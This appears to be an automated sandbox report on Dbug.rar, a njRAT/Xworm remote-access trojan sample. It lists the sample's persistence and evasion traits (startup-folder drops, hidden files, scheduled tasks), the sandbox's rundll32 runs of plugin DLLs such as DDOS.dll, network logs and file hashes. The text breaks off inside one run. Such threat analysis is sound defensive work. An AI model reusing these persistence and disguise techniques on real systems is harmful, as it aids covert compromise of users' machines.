Malware Analysis Report

2025-01-22 14:06

Sample ID 240305-px53sseh8z
Target Dbug.rar
SHA256 854e1c26121698ba6b70584de483d601fe52d508195765618cb136d1da56141d
Tags
njrat xworm hacked evasion persistence rat trojan upx
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral12

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral13

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral18

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral19

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral20

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral21

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral22

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral23

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral32

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral11

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral26

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral30

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral31

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral4

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral8

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral10

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral6

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral7

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral16

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral17

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral28

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral29

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral5

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral14

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral15

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral27

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral24

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral25

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral9

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

854e1c26121698ba6b70584de483d601fe52d508195765618cb136d1da56141d

Threat Level: Known bad

The file Dbug.rar was found to be: Known bad.

Malicious Activity Summary

njrat xworm hacked evasion persistence rat trojan upx

njRAT/Bladabindi

Xworm

Detect Xworm Payload

Sets file to hidden

Checks computer location settings

UPX packed file

Executes dropped EXE

Drops startup file

Loads dropped DLL

Looks up external IP address via web service

Adds Run key to start application

Legitimate hosting services abused for malware hosting/C2

Program crash

Unsigned PE

Enumerates physical storage devices

Modifies registry class

Enumerates processes with tasklist

Uses Task Scheduler COM API

Suspicious use of AdjustPrivilegeToken

Suspicious use of SetWindowsHookEx

Modifies Internet Explorer settings

Delays execution with timeout.exe

Suspicious use of FindShellTrayWindow

Suspicious use of WriteProcessMemory

Suspicious behavior: GetForegroundWindowSpam

Creates scheduled task(s)

Suspicious behavior: EnumeratesProcesses

Views/modifies file attributes

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-03-05 12:43

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Analysis: behavioral12

Detonation Overview

Submitted

2024-03-05 12:43

Reported

2024-03-05 12:47

Platform

win10v2004-20240226-en

Max time kernel

144s

Max time network

153s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Dеbug\MetroFramework.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Dеbug\MetroFramework.dll,#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 1.181.190.20.in-addr.arpa udp
US 8.8.8.8:53 241.154.82.20.in-addr.arpa udp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
NL 52.142.223.178:80 tcp
US 8.8.8.8:53 86.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 217.135.221.88.in-addr.arpa udp
US 8.8.8.8:53 194.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 43.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 213.143.182.52.in-addr.arpa udp

Files

N/A

Analysis: behavioral13

Detonation Overview

Submitted

2024-03-05 12:43

Reported

2024-03-05 12:46

Platform

win7-20240221-en

Max time kernel

119s

Max time network

125s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\GeoIP.dat

Signatures

Enumerates physical storage devices

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000_CLASSES\dat_auto_file C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000_CLASSES\dat_auto_file\shell\Read C:\Windows\system32\rundll32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000_CLASSES\dat_auto_file\shell\Read\command\ = "\"C:\\Program Files (x86)\\Adobe\\Reader 9.0\\Reader\\AcroRd32.exe\" \"%1\"" C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000_Classes\Local Settings C:\Windows\system32\rundll32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000_CLASSES\dat_auto_file\ C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000_CLASSES\.dat C:\Windows\system32\rundll32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000_CLASSES\.dat\ = "dat_auto_file" C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000_CLASSES\dat_auto_file\shell C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000_CLASSES\dat_auto_file\shell\Read\command C:\Windows\system32\rundll32.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\GeoIP.dat

C:\Windows\system32\rundll32.exe

"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\GeoIP.dat

C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe

"C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\GeoIP.dat"

Network

N/A

Files

C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\9.0\SharedDataEvents

MD5 96338b9a0d712cb6eabce4d84a0a9c77
SHA1 d8d04a5c1e7d04b2c8c624c5a28a78e0d4b8d3d7
SHA256 85da29bb7a5547763f3601ae5456717142db25c656962f18fdc97aed34b137d1
SHA512 c2d75f027c9942e1b5a62df5dbb2b2a5802ce3b42b4aebbe13910be9110f17c1d5b2621865af89dff938021481650d451219ebcff2102ae77bbcbfb839cfb9f9

Analysis: behavioral18

Detonation Overview

Submitted

2024-03-05 12:43

Reported

2024-03-05 12:47

Platform

win10v2004-20240226-en

Max time kernel

168s

Max time network

202s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\CRYP.dll,#1

Signatures

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2724 wrote to memory of 3604 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 2724 wrote to memory of 3604 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 2724 wrote to memory of 3604 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\CRYP.dll,#1

C:\Windows\SysWOW64\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\CRYP.dll,#1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4076 --field-trial-handle=1928,i,13242902252791919845,10377620236057253993,262144 --variations-seed-version /prefetch:8

Network

Country Destination Domain Proto
US 8.8.8.8:53 16.53.126.40.in-addr.arpa udp
US 8.8.8.8:53 194.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 241.150.49.20.in-addr.arpa udp
US 8.8.8.8:53 18.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.200:443 g.bing.com tcp
US 8.8.8.8:53 241.154.82.20.in-addr.arpa udp
US 8.8.8.8:53 chromewebstore.googleapis.com udp
US 8.8.8.8:53 chromewebstore.googleapis.com udp
GB 142.250.200.42:443 chromewebstore.googleapis.com tcp
US 8.8.8.8:53 42.200.250.142.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 202.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 91.65.42.20.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp

Files

N/A

Analysis: behavioral19

Detonation Overview

Submitted

2024-03-05 12:43

Reported

2024-03-05 12:46

Platform

win7-20240221-en

Max time kernel

120s

Max time network

128s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\CRYP.pdb

Signatures

Enumerates physical storage devices

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\pdb_auto_file\shell C:\Windows\system32\rundll32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\pdb_auto_file\shell\Read\command\ = "\"C:\\Program Files (x86)\\Adobe\\Reader 9.0\\Reader\\AcroRd32.exe\" \"%1\"" C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_Classes\Local Settings C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\pdb_auto_file C:\Windows\system32\rundll32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\.pdb\ = "pdb_auto_file" C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\pdb_auto_file\shell\Read\command C:\Windows\system32\rundll32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\pdb_auto_file\ C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\.pdb C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\pdb_auto_file\shell\Read C:\Windows\system32\rundll32.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\CRYP.pdb

C:\Windows\system32\rundll32.exe

"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\CRYP.pdb

C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe

"C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\CRYP.pdb"

Network

N/A

Files

C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\9.0\SharedDataEvents

MD5 9a24d5367f0b352d70846d0885ce8e34
SHA1 e0eb0d4f4d85fea18129c5a7b70c02291417dbc2
SHA256 934e0da5f7ab0142328fb9ab7db7eb2f38aeb38e3ee74e99d46dfa6217011ad1
SHA512 f8953cd32986cf86ff54e644a12a3d2aabdce7ee137b52f0c00a8ec99a94894d2b27251b92cf123e690d5e1a1cff9e2c46bc673195f7ba2ac11118104eae6cd1

Analysis: behavioral20

Detonation Overview

Submitted

2024-03-05 12:43

Reported

2024-03-05 12:46

Platform

win10v2004-20240226-en

Max time kernel

146s

Max time network

158s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\CRYP.pdb

Signatures

Enumerates physical storage devices

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000_Classes\Local Settings C:\Windows\system32\cmd.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000_Classes\Local Settings C:\Windows\system32\OpenWith.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\system32\OpenWith.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\CRYP.pdb

C:\Windows\system32\OpenWith.exe

C:\Windows\system32\OpenWith.exe -Embedding

Network

Country Destination Domain Proto
US 8.8.8.8:53 64.159.190.20.in-addr.arpa udp
US 20.231.121.79:80 tcp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.200:443 g.bing.com tcp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 187.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 241.154.82.20.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 241.150.49.20.in-addr.arpa udp
US 8.8.8.8:53 217.135.221.88.in-addr.arpa udp
US 8.8.8.8:53 119.110.54.20.in-addr.arpa udp
US 8.8.8.8:53 210.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp
US 8.8.8.8:53 190.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 43.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 18.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 181.178.17.96.in-addr.arpa udp

Files

N/A

Analysis: behavioral21

Detonation Overview

Submitted

2024-03-05 12:43

Reported

2024-03-05 12:46

Platform

win7-20240220-en

Max time kernel

120s

Max time network

125s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\DDOS.dll,#1

Signatures

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2304 wrote to memory of 1632 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 2304 wrote to memory of 1632 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 2304 wrote to memory of 1632 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 2304 wrote to memory of 1632 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 2304 wrote to memory of 1632 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 2304 wrote to memory of 1632 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 2304 wrote to memory of 1632 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\DDOS.dll,#1

C:\Windows\SysWOW64\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\DDOS.dll,#1

Network

N/A

Files

N/A

Analysis: behavioral22

Detonation Overview

Submitted

2024-03-05 12:43

Reported

2024-03-05 12:46

Platform

win10v2004-20240226-en

Max time kernel

144s

Max time network

151s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\DDOS.dll,#1

Signatures

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1156 wrote to memory of 4768 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 1156 wrote to memory of 4768 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 1156 wrote to memory of 4768 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\DDOS.dll,#1

C:\Windows\SysWOW64\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\DDOS.dll,#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 1.181.190.20.in-addr.arpa udp
US 8.8.8.8:53 187.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 241.154.82.20.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 97.17.167.52.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 217.135.221.88.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp

Files

N/A

Analysis: behavioral23

Detonation Overview

Submitted

2024-03-05 12:43

Reported

2024-03-05 12:46

Platform

win7-20240221-en

Max time kernel

119s

Max time network

121s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\DDOS.pdb

Signatures

Enumerates physical storage devices

Modifies registry class

Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\.pdb\ = "pdb_auto_file" C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_Classes\Local Settings C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\pdb_auto_file C:\Windows\system32\rundll32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\pdb_auto_file\ C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\.pdb C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\pdb_auto_file\shell\Read C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\pdb_auto_file\shell C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\pdb_auto_file\shell\Read\command C:\Windows\system32\rundll32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\pdb_auto_file\shell\Read\command\ = "\"C:\\Program Files (x86)\\Adobe\\Reader 9.0\\Reader\\AcroRd32.exe\" \"%1\"" C:\Windows\system32\rundll32.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\DDOS.pdb

C:\Windows\system32\rundll32.exe

"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\DDOS.pdb

C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe

"C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\DDOS.pdb"

Network

N/A

Files

C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\9.0\SharedDataEvents

MD5 173b559aff17a782286c76236f9d6b9e
SHA1 1e7638123ca38a82f4cd9e31e438d58ca448f45d
SHA256 3cddff328c637fb368c6ba6bf46ea6ce9d1c7769f96d05694c29ee3e3081c44e
SHA512 928c4778d23df4540125ad05f3124258f519cc67824c7ddfbe7476e783b1e69548f7a2cde9a21f8049a6a8204a60b483fbee861c2e39a2a71ca298092fd43940

Analysis: behavioral32

Detonation Overview

Submitted

2024-03-05 12:43

Reported

2024-03-05 12:46

Platform

win10v2004-20240226-en

Max time kernel

149s

Max time network

159s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\FM.pdb

Signatures

Enumerates physical storage devices

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings C:\Windows\system32\cmd.exe N/A
Key created \REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings C:\Windows\system32\OpenWith.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\system32\OpenWith.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\FM.pdb

C:\Windows\system32\OpenWith.exe

C:\Windows\system32\OpenWith.exe -Embedding

Network

Country Destination Domain Proto
US 8.8.8.8:53 136.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 204.79.197.200:443 g.bing.com tcp
US 8.8.8.8:53 173.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 73.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 104.241.123.92.in-addr.arpa udp
US 8.8.8.8:53 217.135.221.88.in-addr.arpa udp
US 8.8.8.8:53 209.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 119.110.54.20.in-addr.arpa udp
US 8.8.8.8:53 18.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 211.135.221.88.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 10.179.89.13.in-addr.arpa udp

Files

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-03-05 12:43

Reported

2024-03-05 12:46

Platform

win7-20240220-en

Max time kernel

150s

Max time network

153s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\Dbug.rar

Signatures

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Xworm

trojan rat xworm

njRAT/Bladabindi

trojan njrat

Sets file to hidden

evasion
Description Indicator Process Target
N/A N/A C:\Windows\System32\attrib.exe N/A
N/A N/A C:\Windows\System32\attrib.exe N/A
N/A N/A C:\Windows\System32\attrib.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.url C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zOCE795617\BandeeraRAT By Donbas.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe N/A
